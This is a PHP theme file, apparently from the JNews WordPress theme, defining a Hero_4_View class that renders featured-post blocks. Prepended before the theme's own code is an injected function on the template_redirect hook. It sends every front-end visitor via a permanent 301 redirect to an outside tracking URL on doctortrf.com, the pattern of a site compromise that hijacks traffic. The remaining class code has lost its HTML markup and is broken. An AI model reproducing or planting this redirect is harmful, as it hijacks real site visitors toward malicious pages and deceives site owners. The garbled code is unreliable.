function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * @author : Jegtheme */ namespace JNews\Module\Hero; Class Hero_4_View extends HeroViewAbstract { public function render_block_type_1($post) { if($post) { $primary_category = $this->get_primary_category($post->ID); $image = $this->get_thumbnail($post->ID, 'jnews-featured-750'); $output = "
ID) . " style=\"padding: 0 0 {$this->margin}px {$this->margin}px;\">
" . jnews_edit_post( $post->ID ) . "
"; return $output; } else { $output = "
margin}px {$this->margin}px;\">
"; return $output; } } public function render_block_type_2($post, $index) { $index = $index + 1; if($post) { $primary_category = $this->get_primary_category($post->ID); $image = $this->get_thumbnail($post->ID, 'jnews-featured-750'); $output = "
ID) . " style=\"padding: 0 0 {$this->margin}px {$this->margin}px;\">
" . jnews_edit_post( $post->ID ) . "
"; return $output; } else { $output = "
margin}px {$this->margin}px;\">
"; return $output; } } public function render_element($result) { $first_block = $this->render_block_type_1($result[0]); $second_block = ''; for($i = 1; $i <= ( $this->get_number_post() - 1 ); $i++){ $item = isset($result[$i]) ? $result[$i] : ''; $second_block .=$this->render_block_type_2($item, $i); } $output = "{$first_block}
{$second_block}
"; return $output; } }